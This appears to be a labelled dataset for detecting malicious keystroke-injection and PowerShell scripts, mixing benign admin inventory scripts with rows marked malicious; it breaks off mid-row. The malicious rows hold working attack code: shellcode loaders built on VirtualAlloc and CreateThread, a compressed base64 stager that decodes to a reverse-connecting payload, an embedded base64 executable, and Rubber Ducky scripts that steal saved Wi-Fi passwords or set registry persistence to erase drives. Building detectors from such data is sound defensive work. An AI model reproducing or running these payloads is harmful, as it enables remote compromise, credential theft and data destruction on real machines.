enter",1,1,5.4237255e-05,0.99994576
win+r enter powershell enter enter enter win x a left enter Set-ExecutionPolicy Bypass -Scope Process -Force; [System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072; iex ((New-Object System.Net.WebClient).DownloadString('https://chocolatey.org/install.ps1')) enter choco install cdburnerxp enter A enter enter enter,0,0,0.9999603,3.964736e-05
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""support_summary_87pb515q"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-LocalGroupMember -Group ""Administrators"" -ErrorAction SilentlyContinue | enter Select-Object Name, ObjectClass, PrincipalSource | enter Export-Csv -Path (Join-Path $ReportDir ""user_local_admins.csv"") -NoTypeInformation enter Get-NetFirewallRule | enter Where-Object { $_.Direction -eq ""Inbound"" } | enter Select-Object -First 100 DisplayName, Enabled, Direction, Action, Profile | enter Export-Csv -Path (Join-Path $ReportDir ""firewall_rules_inbound.csv"") -NoTypeInformation enter Write-Host ""Administrative report completed."" enter",0,0,0.9999659,3.405835e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""system_review_q0mzwnkt"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-NetConnectionProfile | enter Select-Object Name, InterfaceAlias, NetworkCategory, IPv4Connectivity, IPv6Connectivity | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""network_net_connection_profile.txt"") -Encoding UTF8 enter Write-Host ""Starting environment_report section 2."" enter Get-ChildItem Env: | enter Sort-Object Name | enter Select-Object Name, Value | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""environment_env_vars.json"") -Encoding UTF8 enter",0,0,0.9999651,3.493959e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""ops_check_ktxutb25"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-ComputerInfo | enter Select-Object CsName, OsName, OsVersion, OsBuildNumber, WindowsInstallDateFromRegistry | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""hardware_summary_report.txt"") -Encoding UTF8 enter Write-Host ""Starting scheduled_task_inventory section 2."" enter Get-ScheduledTask | enter Select-Object -First 100 TaskName, TaskPath, State | enter Export-Csv -Path (Join-Path $ReportDir ""scheduled_all_tasks.csv"") -NoTypeInformation enter Write-Host ""Starting process_checks section 3."" enter Get-Process | enter Sort-Object ProcessName | enter Select-Object -First 40 Name, Id, Path, Company | enter Export-Csv -Path (Join-Path $ReportDir ""process_process_overview_40.csv"") -NoTypeInformation enter Write-Host ""Administrative report completed."" enter",0,0,0.9999647,3.523185e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""support_summary_e9fad3za"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-PnpDevice | enter Where-Object { $_.Class -eq ""Display"" } | enter Select-Object -First 150 Class, FriendlyName, Status, InstanceId | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""device_display_devices.json"") -Encoding UTF8 enter Get-ScheduledTask | enter Where-Object { $_.State -eq ""Ready"" } | enter Select-Object -First 150 TaskName, TaskPath, State | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""scheduled_ready_tasks.json"") -Encoding UTF8 enter",0,0,0.9999653,3.469273e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""helpdesk_reports_zgtg132k"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting event_log_review section 1."" enter Get-WinEvent -LogName System -MaxEvents 50 | enter Where-Object { $_.LevelDisplayName -in @(""Information"",""Warning"",""Error"") } | enter Select-Object TimeCreated, ProviderName, Id, LevelDisplayName, Message | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""event_provider_summary_50.txt"") -Encoding UTF8 enter Get-LocalGroup | enter Select-Object Name, Description | enter Export-Csv -Path (Join-Path $ReportDir ""user_local_groups.csv"") -NoTypeInformation enter Write-Host ""Administrative report completed."" enter",0,0,0.9999659,3.414538e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""support_summary_updlrxnd"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting system_inventory section 1."" enter Get-ComputerInfo | enter Select-Object CsName, WindowsProductName, WindowsVersion, OsArchitecture, CsManufacturer, CsModel | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""hardware_summary_report.json"") -Encoding UTF8 enter Get-NetFirewallRule | enter Where-Object { $_.Enabled -eq ""True"" } | enter Select-Object -First 200 DisplayName, Enabled, Direction, Action, Profile | enter Export-Csv -Path (Join-Path $ReportDir ""firewall_enabled_rules.csv"") -NoTypeInformation enter",0,0,0.99996626,3.3723714e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""helpdesk_reports_si1sltez"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting event_log_review section 1."" enter Get-WinEvent -LogName Application -MaxEvents 75 | enter Where-Object { $_.LevelDisplayName -in @(""Error"") } | enter Select-Object TimeCreated, ProviderName, Id, LevelDisplayName, Message | enter Export-Csv -Path (Join-Path $ReportDir ""event_application_errors_75.csv"") -NoTypeInformation enter Get-NetRoute | enter Select-Object -First 75 DestinationPrefix, InterfaceAlias, NextHop, RouteMetric | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""network_routes.json"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.99996567,3.427758e-05
"win+r powershell enter [void][System.Reflection.Assembly]::LoadWithPartialName('Microsoft.SqlServer.Con enter nectionInfo'); [void][System.Reflection.Assembly]::LoadWithPartialName('Microso enter ft.SqlServer.Management.Sdk.Sfc'); [void][System.Reflection.Assembly]::LoadWith enter PartialName('Microsoft.SqlServer.SMO'); [void][System.Reflection.Assembly]::Lo enter adWithPartialName('Microsoft.SqlServer.SMOExtended'); $Server = ""(local)""; $De enter st = ""C:\Support\SQLBac\""; $srv = New-Object Microsoft.SqlServer.Management.Smo enter .Server $Server; If ($Dest -eq """") { $Dest = $server.Settings.BackupDirectory enter + ""\"" }; Write-Output (""Started at: "" + (Get-Date -format yyyy-MM-dd-HH:mm:ss) enter ); enter enter",1,1,7.910069e-05,0.99992085
"win+r enter powershell enter enter enter function Set-SPOListPermissions enter { enter [CmdletBinding()] enter param enter ( enter [Parameter(Mandatory=$true, Position=1)] enter [string]$groupname, enter enter [Parameter(Mandatory=$true, Position=2)] enter [string]$listname, enter enter [Parameter(Mandatory=$true, Position=3)] enter [string]$roleType enter ) enter enter process enter { enter Write-Host ""Creating permissions for list $listname for the group $groupname and role $roleType"" -foregroundcolor black -backgroundcolor yellow enter $web = $clientContext.Web enter $roleTypeObject = [Microsoft.SharePoint.Client.RoleType]$roleType enter $role = Get-SPORole $roleTypeObject enter $group = Get-SPOGroup $groupname enter $list = $web.Lists.GetByTitle($listname) enter $method = [Microsoft.Sharepoint.Client.ClientContext].GetMethod(""Load"") enter $loadMethod = $method.MakeGenericMethod([Microsoft.Sharepoint.Client.List]) enter enter $parameter = [System.Linq.Expressions.Expression]::Parameter(([Microsoft.SharePoint.Client.List]), ""x"") enter $expression = [System.Linq.Expressions.Expression]::Lambda([System.Linq.Expressions.Expression]::Convert([System.Linq.Expressions.Expression]::Property($parameter, ([Microsoft.SharePoint.Client.List]).GetProperty(""HasUniqueRoleAssignments"")), ([System.Object])), $($parameter)) enter $expressionArray = [System.Array]::CreateInstance($expression.GetType(), 1) enter $expressionArray.SetValue($expression, 0) enter enter $loadMethod.Invoke( $clientContext, @( $list, $expressionArray ) ) enter $clientContext.ExecuteQuery() enter if (-not $list.HasUniqueRoleAssignments) enter { enter $list.BreakRoleInheritance($false, $false) enter } enter enter $clientContext.ExecuteQuery() enter $rdb = New-Object Microsoft.SharePoint.Client.RoleDefinitionBindingCollection($clientContext) enter $rdb.Add($role) enter $ra = $list.RoleAssignments.Add($group, $rdb) enter $clientContext.ExecuteQuery() enter enter Write-Host ""Succesfully created permissions"" -foregroundcolor black -backgroundcolor green enter } enter } enter enter $ZAl5 = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $ZAl5 -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xdb,0xce,0xd9,0x74,0x24,0xf4,0x5e,0xbd,0xca,0x8a,0x52,0x62,0x33,0xc9,0xb1,0x58,0x31,0x6e,0x1a,0x83,0xee,0xfc,0x03,0x6e,0x16,0xe2,0x3f,0x76,0xba,0xe0,0xbf,0x87,0x3b,0x85,0x36,0x62,0x0a,0x85,0x2c,0xe6,0x3d,0x35,0x27,0xaa,0xb1,0xbe,0x65,0x5f,0x41,0xb2,0xa1,0x50,0xe2,0x79,0x97,0x5f,0xf3,0xd2,0xeb,0xfe,0x77,0x29,0x3f,0x21,0x49,0xe2,0x32,0x20,0x8e,0x1f,0xbe,0x70,0x47,0x6b,0x6c,0x65,0xec,0x21,0xac,0x0e,0xbe,0xa4,0xb4,0xf3,0x77,0xc6,0x95,0xa5,0x0c,0x91,0x35,0x47,0xc0,0xa9,0x7c,0x5f,0x05,0x97,0x37,0xd4,0xfd,0x63,0xc6,0x3c,0xcc,0x8c,0x64,0x01,0xe0,0x7e,0x75,0x45,0xc7,0x60,0x00,0xbf,0x3b,0x1c,0x12,0x04,0x41,0xfa,0x97,0x9f,0xe1,0x89,0x0f,0x44,0x13,0x5d,0xc9,0x0f,0x1f,0x2a,0x9e,0x48,0x3c,0xad,0x73,0xe3,0x38,0x26,0x72,0x24,0xc9,0x7c,0x50,0xe0,0x91,0x27,0xf9,0xb1,0x7f,0x89,0x06,0xa1,0xdf,0x76,0xa2,0xa9,0xf2,0x63,0xdf,0xf3,0x9a,0x1d,0xba,0x7f,0x5b,0x8a,0x33,0xe9,0x35,0x23,0xef,0x81,0x85,0xc4,0x29,0x55,0xe9,0xfe,0x04,0x82,0x46,0x52,0x35,0x67,0x3a,0x3c,0x83,0xd1,0xc5,0x1b,0x0c,0x08,0x66,0x37,0x98,0xb0,0xda,0xe4,0x34,0x14,0xd3,0x0a,0xc4,0xb2,0x60,0x0a,0xc4,0x42,0x56,0x4f,0x83,0x0a,0x91,0x1f,0x0b,0xdb,0x89,0xc8,0x82,0x44,0x8f,0x08,0x41,0xf3,0xd6,0xa4,0x01,0x04,0xe5,0xaa,0x55,0x57,0x5a,0x78,0x02,0x0b,0x0a,0x16,0x47,0xfe,0x9c,0xdd,0x68,0xd4,0x77,0x4b,0x9c,0x88,0x1f,0x0c,0x93,0x36,0xe0,0x85,0x33,0x5c,0xe4,0xc5,0xd9,0xbe,0xb2,0x8d,0x68,0x87,0xa4,0xc8,0x6d,0xd2,0x8a,0x87,0xc2,0x8e,0x7a,0x40,0xc9,0x36,0x9b,0xeb,0xee,0xe2,0x1e,0xcb,0x65,0x07,0x6e,0xb9,0x5c,0x7f,0x80,0xf4,0xfc,0xd6,0x9f,0x22,0x6a,0x97,0x37,0xcd,0x7a,0x17,0xc8,0xa5,0x7a,0x17,0x88,0x35,0x29,0x7f,0x50,0x92,0x9e,0x9a,0x9f,0x0f,0xb3,0x36,0x33,0x39,0x54,0xef,0xdb,0x39,0xba,0x10,0x1c,0x69,0xec,0x78,0x0e,0x1b,0x99,0x9b,0xd1,0xf6,0x1c,0x9b,0x5a,0x34,0x95,0x1b,0xa2,0x05,0x2c,0xe3,0xd1,0x6c,0x76,0x27,0x46,0x87,0xf3,0x58,0x86,0xa8,0x8c,0xd1,0x0e,0x64,0x5c,0x7d,0x99,0xf8,0xcf,0xec,0x3c,0xd0,0x7a,0x9f,0x90,0x4e,0xe5,0x2b,0x88,0x8e;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$bVz=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($bVz.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$bVz,0,0,0);for (;;){Start-sleep 60}; enter enter",1,1,5.1076728e-05,0.999949
"win+r powershell enter $c = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr enter lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kern enter el32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, u enter int dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags enter , IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset enter (IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $c -Name "" enter Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xba,0x8c,0xf5, enter 0xf3,0x2a,0xda,0xd1,0xd9,0x74,0x24,0xf4,0x5f,0x29,0xc9,0xb1,0x47,0x31,0x57,0x13, enter 0x83,0xef,0xfc,0x03,0x57,0x83,0x17,0x06,0xd6,0x73,0x55,0xe9,0x27,0x83,0x3a,0x63, enter 0xc2,0xb2,0x7a,0x17,0x86,0xe4,0x4a,0x53,0xca,0x08,0x20,0x31,0xff,0x9b,0x44,0x9e, enter 0xf0,0x2c,0xe2,0xf8,0x3f,0xad,0x5f,0x38,0x21,0x2d,0xa2,0x6d,0x81,0x0c,0x6d,0x60, enter 0xc0,0x49,0x90,0x89, enter enter",1,1,5.4083754e-05,0.9999459
"win+r enter powershell enter enter enter if([IntPtr]::Size -eq 4){$b='powershell.exe'}else{$b=$env:windir+'\syswow64\WindowsPowerShell\v1.0\powershell.exe'};$s=New-Object System.Diagnostics.ProcessStartInfo;$s.FileName=$b;$s.Arguments='-nop -w hidden -c $s=New-Object IO.MemoryStream(,[Convert]::FromBase64String(''H4sIADcgi1gCA71WbW/iOBD+3JX2P0QrpCRaSoDS7bbSSucQwkuBQlNCgUUnN3GCwcRp4lBgb//7TYD05bo99fbDRaDYnhnP+JlnPPGSwBGUB5LHx0ZpfrauST8+fjjq4QgvJSXHyhtm5KUcjfv1L+rREYhy86/X0jdJmaAwNPgS02B6cVFNoogEYj8v1IlAcUyWd4ySWFGlv6ThjETk+OpuThwh/ZByfxbqjN9hdlDbVLEzI9IxCtxU1uYOToMqWCGjQpG/f5fVyXFpWqjdJ5jFimxtYkGWBZcxWZV+qqnDm01IFLlDnYjH3BOFIQ1OyoVBEGOPdGG3FekQMeNuLKtwCPhFRCRRIKXHSe33UkWGYS/iDnLdiMSgXGgGK74gSi5IGMtLfyiTg/PrJBB0SUAuSMRDi0Qr6pC40MCBy8g18aZKlzxkZ36vkfLcCLR6IlLzkIjXUXa4mzCyN5TV13Huc6fC85g/OPnPjx8+fvCypG/9kC8Me/s85zA6muzGBGJUejymO91vUjEvdcAdFjzawDR3EyVEnUqTFPrJdCrllqulMaPb/NtblDJ90I7N5PQU1iY2p+4UbA6JyYnzjpNcna/6o5taKn+baAbxaECMTYCX1Mm4pPwKd+IxsjtzIVPrQnSKfBAQ1yCM+FikUOalyWuz2pKKR1s9ocwlEXIgdzFEBWlVXwazz44iN4MOWQJe+7kMqfCAwSTTPrB2k3lP56AkVxmO47zUS6CEnLxkEcyIm5dQENODCCWC74byU7idhAnq4Fhk203Vf+J58FvlQSyixIFUAgY3VkgcilkKSV5qUJfoG4v6mX/5l4BUMWM08GGnFSQEVlIgLJESJIJQMzKoBYuI5jJkZAlqu7I2GfahiA+1sCMV9okrvxVsRvo9w1N4MlyehQo5txgXecmmkYBbIoV6x7DfDuXZHfEiqGpEDplSsoKa6BuRlkAupPdnnRZtLFspcQ+g7SCKBMBjRnyp45h8qVgiAvCUT9oVrSJ4Rs2AdRx9QUvogZaaHfgP6EmTG2fuZWve0CJjPfNQM252Gj2j32hUVi3Lrgir1hSXvabo1G7ncws1rgcjMW6ixg0tLkaVbdiiW6uN3NFa+7LVtw9Ffb2d+643MjzPP/Os69KpSdvDal8vlnHbqCXtof6gFytxjT40+nTQX7RMcTeyGR54mn9bOsd03Y7mdol3tk2E6rMTZ9vy7Pqs425GDe18WFmgGkLVoGabOr8c6RHqaTb2bf5w6ev60K8i3XQoGfcHpt7vmzoa1Of3xrnmg+0tnulDu0zH4e31DOYmhHCpFStNl2z5qA8g1TnC/jXo+NWyM/NAx/iM9M9dHpfxQudIBx1zfA9xjUKzx0B+MyhzZLPuLUbt8cbUtNKoV0GNIh3WfZRuiX29j1G8MraGVrJd7g5PuyNPs2/ZmWZUb0LH0zTtoWFcOuPS+uvV2df2kNpLjgaaZn9KWQI0ya3um1av264hZxA8y/tbl30HR/EMM+ADXONZqZo8Mg/Xco/T1EJRnnrygkQBYdDQoOVlDEeMcSdtDo+3ODSnfcuYQsUOYHhS/uVIlR4V1afOkS1dXIwhXCibJzIX2iTwxSxfXJ8Ui9AGiutKEQ7//oNWebhRnm2YT5vJC9xe+mM7f2paW7m4fxb+D6geynoGL/c9qD6t/Yv0XUgX8y+ReCV+ufCfgP89LIaYClC34IpiZN9J34bkwKlnnyBpxoAr3uFJPwCvEnHchS+TvwEIY7tPcAoAAA==''));IEX (New-Object IO.StreamReader(New-Object IO.Compression.GzipStream($s,[IO.Compression.CompressionMode]::Decompress))).ReadToEnd();';$s.UseShellExecute=$false;$s.RedirectStandardOutput=$true;$s.WindowStyle='Hidden';$s.CreateNoWindow=$true;$p=[System.Diagnostics.Process]::Start($s); enter [decoded_payloads] enter [decoded:long_base64_literal] enter function foZD1j7xE { enter Param ($l2ylD, $isQG6) enter $j8R = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods') enter enter return $j8R.GetMethod('GetProcAddress').Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($j8R.GetMethod('GetModuleHandle')).Invoke($null, @($l2ylD)))), $isQG6)) enter } enter enter function zgpokDVz { enter Param ( enter [Parameter(Position = 0, Mandatory = $True)] [Type[]] $mvmDhiz, enter [Parameter(Position = 1)] [Type] $sFu55 = [Void] enter ) enter enter $t9McuO9vQYTE = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate]) enter $t9McuO9vQYTE.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $mvmDhiz).SetImplementationFlags('Runtime, Managed') enter $t9McuO9vQYTE.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $sFu55, $mvmDhiz).SetImplementationFlags('Runtime, Managed') enter enter return $t9McuO9vQYTE.CreateType() enter } enter enter [Byte[]]$piq7MJiHmJ = [System.Convert]::FromBase64String(""/OiCAAAAYInlMcBki1Awi1IMi1IUi3IoD7dKJjH/rDxhfAIsIMHPDQHH4vJSV4tSEItKPItMEXjjSAHRUYtZIAHTi0kY4zpJizSLAdYx/6zBzw0BxzjgdfYDffg7fSR15FiLWCQB02aLDEuLWBwB04sEiwHQiUQkJFtbYVlaUf/gX19aixLrjV1oMzIAAGh3czJfVGhMdyYH/9W4kAEAACnEVFBoKYBrAP/VagVowKgBBWgCABFcieZQUFBQQFBAUGjqD9/g/9WXahBWV2iZpXRh/9WFwHQK/04IdezoYQAAAGoAagRWV2gC2chf/9WD+AB+Nos2akBoABAAAFZqAGhYpFPl/9WTU2oAVlNXaALZyF//1YP4AH0iWGgAQAAAagBQaAsvDzD/1VdodW5NYf/VXl7/DCTpcf///wHDKcZ1x8O78LWiVmoAU//V"") enter enter $vqISPNLEAcUn = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((foZD1j7xE kernel32.dll VirtualAlloc), (zgpokDVz @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]))).Invoke([IntPtr]::Zero, $piq7MJiHmJ.Length,0x3000, 0x40) enter [System.Runtime.InteropServices.Marshal]::Copy($piq7MJiHmJ, 0, $vqISPNLEAcUn, $piq7MJiHmJ.length) enter enter $sQ7p = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((foZD1j7xE kernel32.dll CreateThread), (zgpokDVz @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]))).Invoke([IntPtr]::Zero,0,$vqISPNLEAcUn,[IntPtr]::Zero,0,[IntPtr]::Zero) enter [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((foZD1j7xE kernel32.dll WaitForSingleObject), (zgpokDVz @([IntPtr], [Int32]))).Invoke($sQ7p,0xffffffff) | Out-Null enter enter",1,1,5.523504e-05,0.9999448
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""inventory_reports_v3a7xmcz"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-PnpDevice | enter Where-Object { $_.Class -eq ""Display"" } | enter Select-Object -First 100 Class, FriendlyName, Status, InstanceId | enter Export-Csv -Path (Join-Path $ReportDir ""device_display_devices.csv"") -NoTypeInformation enter Get-LocalGroupMember -Group ""Administrators"" -ErrorAction SilentlyContinue | enter Select-Object Name, ObjectClass, PrincipalSource | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""user_local_admins.txt"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.99996555,3.444394e-05
"win+r powershell enter function Invoke-SharpSniper { [CmdletBinding()] Param ( [Parameter(Position enter = 0, Mandatory = $true)] [ValidateNotNullorEmpty()] [String] $Command ) $b enter ase64binary=""TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA enter AAAAAAAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9 enter TIG1vZGUuDQ0KJAAAAAAAAABQRQAATAEDAGoB89QAAAAAAAAAAOAAIgALATAAABYAAAAIAAAAAAAA6jQ enter AAAAgAAAAQAAAAABAAAAgAAAAAgAABAAAAAAAAAAEAAAAAAAAAACAAAAAAgAAAAAAAAMAQIUAABAAABA enter AAAAAEAAAEAAAAAAAABAAAAAAAAAAAAAAAJc0AABPAAAAAEAAALwFAAAAAAAAAAAAAAAAAAAAAAAAAGA enter AAAwAAADsMwAAOAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAACAA enter AAAAAAAAAAAAACCAAAEgAAAAAAAAAAAAAAC50ZXh0AAAA8BQAAAAgAAAAFgAAAAIAAAAAAAAAAAAAAAA enter AACAAAGAucnNyYwAAALwFAAAAQAAAAAYAAAAYAAAAAAAAAAAAAAAAAABAAABALnJlbG9jAAAMAAAAAGA enter AAAACAAAAHgAAAAAAAAAAAAAAAAAAQAAAQgAAAAAAAAAAAAAAAAAAAADLNAAAAAAAAEgAAAACAAUALCM enter AAMAQAAABAAAABAAABgA enter enter",1,1,6.68632e-05,0.9999331
win+r powershell enter DUCKY_REAL_BEGIN enter REM Author: UNC0V3R3D (UNC0V3R3D#8662 on Discord) enter REM Description: Steals all of the saved Wifi Passwords and stores them into a file. enter REM Version: 1.0 enter REM Category: Passwords enter DELAY 500 enter WINDOWS d enter DELAY 500 enter WINDOWS r enter DELAY 500 enter STRING powershell Start-Process powershell -Verb runAs enter ENTER enter DELAY 800 enter LEFTARROW enter ENTER enter DELAY 800 enter ALT y enter DELAY 500 enter GUI UP enter DELAY 600 enter STRING $folderDateTime = (get-date).ToString('d-M-y HHmmss');$userDir = (Get-ChildItem env:\userprofile).value + '\Walkuer Ghost Report ' + $folderDateTime;$fileSaveDir = New-Item ($userDir) -ItemType enter ENTER enter DUCKY_REAL_END enter,1,1,5.7503243e-05,0.99994254
"win+r enter powershell enter enter enter function Out-RsRestCatalogItem enter { enter [CmdletBinding()] enter param ( enter [Alias('RsFolder')] enter [Parameter(Mandatory = $True, ValueFromPipeline = $true)] enter [string[]] enter $RsItem, enter enter [ValidateScript({ Test-Path $_ -PathType Container})] enter [Parameter(Mandatory = $True)] enter [string] enter $Destination, enter enter [switch] enter $Overwrite, enter enter [string] enter $ReportPortalUri, enter enter [Alias('ApiVersion')] enter [ValidateSet(""v1.0"", ""v2.0"")] enter [string] enter $RestApiVersion = ""v2.0"", enter enter [Alias('ReportServerCredentials')] enter [System.Management.Automation.PSCredential] enter $Credential, enter enter [Microsoft.PowerShell.Commands.WebRequestSession] enter $WebSession enter ) enter enter Begin enter { enter $WebSession = New-RsRestSessionHelper -BoundParameters $PSBoundParameters enter $ReportPortalUri = Get-RsPortalUriHelper -WebSession $WebSession enter if ($RestApiVersion -eq 'v1.0') enter { enter $catalogItemsByPathApi = $ReportPortalUri + ""api/$RestApiVersion/CatalogItemByPath(path=@path)?@path=%27{0}%27"" enter } enter else enter { enter $catalogItemsByPathApi = $ReportPortalUri + ""api/$RestApiVersion/CatalogItems(Path='{0}')?`$expand=properties"" enter } enter } enter Process enter { enter foreach ($item in $RsItem) enter { enter try enter { enter Write-Verbose ""Fetching metadata for $item from server..."" enter $url = [string]::Format($catalogItemsByPathApi, $item) enter if ($Credential -ne $null) enter { enter $response = Invoke-WebRequest -Uri $url -Method Get -Credential $Credential -Verbose:$false enter } enter else enter { enter $response = Invoke-WebRequest -Uri $url -Method Get -UseDefaultCredentials -Verbose:$false enter } enter } enter catch enter { enter throw (New-Object System.Exception(""Error while trying to fetch metadata for $item! Exception: $($_.Exception.Message)"", $_.Exception)) enter } enter enter Write-Verbose ""Parsing metadata for $item..."" enter $itemInfo = ConvertFrom-Json $response.Content enter enter Out-RsRestCatalogItemId -RsItemInfo $itemInfo -Destination $Destination -RestApiVersion $RestApiVersion -ReportPortalUri $ReportPortalUri -Credential $Credential -WebSession $WebSession -Overwrite:$Overwrite enter } enter } enter } enter enter",0,0,0.99984586,0.00015413482
"DUCKY_REAL_BEGIN enter REM By overwraith enter REM EraseFlashDrives.txt enter REM PURPOSE: to delete the contents of attached drives. enter GUI r enter STRING cmd /Q /D /T:7F /F:OFF /V:OFF /K enter DELAY 500 enter ENTER enter DELAY 750 enter ALT SPACE enter STRING M enter DOWNARROW enter REPEAT 100 enter ENTER enter REM THE DIRECTORY YOU WANT TO HIDE THE SCRIPT IN enter STRING cd %TEMP% enter ENTER enter REM MAKE THE VBS FILE THAT ALLOWS RUNNING INVISIBLY. enter REM Delete vbs file if already exists enter STRING erase /Q invis.vbs enter ENTER enter REM FROM: http://stackoverflow.com/questions/289498/running-batch-file-in-background-when-windows-boots-up enter STRING copy con invis.vbs enter ENTER enter STRING CreateObject(""Wscript.Shell"").Run """""""" & WScript.Arguments(0) & """""""", 0, False enter ENTER enter CONTROL z enter ENTER enter REM Delete batch file if already exists enter STRING erase /Q SecurityBullseye.bat enter ENTER enter REM Make the batch file enter REM SLIGHT THROWBACK TO VIDEO GAME BIOSHOCK I/II enter STRING copy con SecurityBullseye.bat enter ENTER enter REM REGISTRY KEY RESTARTS THE SCRIPT ON REBOOT enter STRING REG ADD HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v Persistence /t REG_SZ /d ""wscript.exe %TEMP%\invis.vbs %TEMP%\SecurityBullseye.bat"" /f enter ENTER enter STRING :while1 enter ENTER enter REM C:\ IS USUALLY THE DRIVE THE OS IS INSTALLED ON, SO OMIT. enter DUCKY_REAL_END",1,1,6.0625207e-05,0.9999393
"win+r enter powershell enter enter enter $o4m = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $o4m -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 